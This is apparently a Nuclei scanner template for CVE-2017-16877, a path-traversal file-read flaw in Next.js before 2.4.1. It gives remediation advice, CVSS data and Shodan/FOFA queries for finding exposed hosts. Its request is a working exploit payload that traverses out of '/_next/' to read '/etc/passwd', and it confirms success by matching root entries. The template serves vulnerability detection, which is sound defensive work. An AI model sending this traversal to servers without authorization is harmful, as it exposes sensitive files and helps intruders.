id: CVE-2017-16877

info:
  name: Nextjs <2.4.1 - Local File Inclusion
  author: pikpikcu
  severity: high
  description: ZEIT Next.js before 2.4.1 is susceptible to local file inclusion via the /_next and /static request namespace, allowing attackers to obtain sensitive information.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to read sensitive files on the server, leading to unauthorized access and potential data leakage.
  remediation: |
    Upgrade Nextjs to version 2.4.1 or above to mitigate this vulnerability.
  reference:
    - https://medium.com/@theRaz0r/arbitrary-file-reading-in-next-js-2-4-1-34104c4e75e9
    - https://github.com/zeit/next.js/releases/tag/2.4.1
    - https://nvd.nist.gov/vuln/detail/CVE-2017-16877
    - https://github.com/vercel/next.js/commit/02fe7cf63f6265d73bdaf8bc50a4f2fb539dcd00
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2017-16877
    cwe-id: CWE-22
    epss-score: 0.00337
    epss-percentile: 0.71295
    cpe: cpe:2.3:a:zeit:next.js:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: zeit
    product: next.js
    shodan-query:
      - http.html:"/_next/static"
      - cpe:"cpe:2.3:a:zeit:next.js"
    fofa-query: body="/_next/static"
  tags: cve,cve2017,nextjs,lfi,traversal,zeit

http:
  - method: GET
    path:
      - "{{BaseURL}}/_next/../../../../../../../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100a93615411456697c27c3a77ff5194467b6d4d2c30a92d6230ba128396ece8e0d022027f9efb1c6fb1fdb85f3c84ed64ab1be4a020dab70ea16f32f1786c7b51cc526:922c64590222798bb761d5b6d8e72950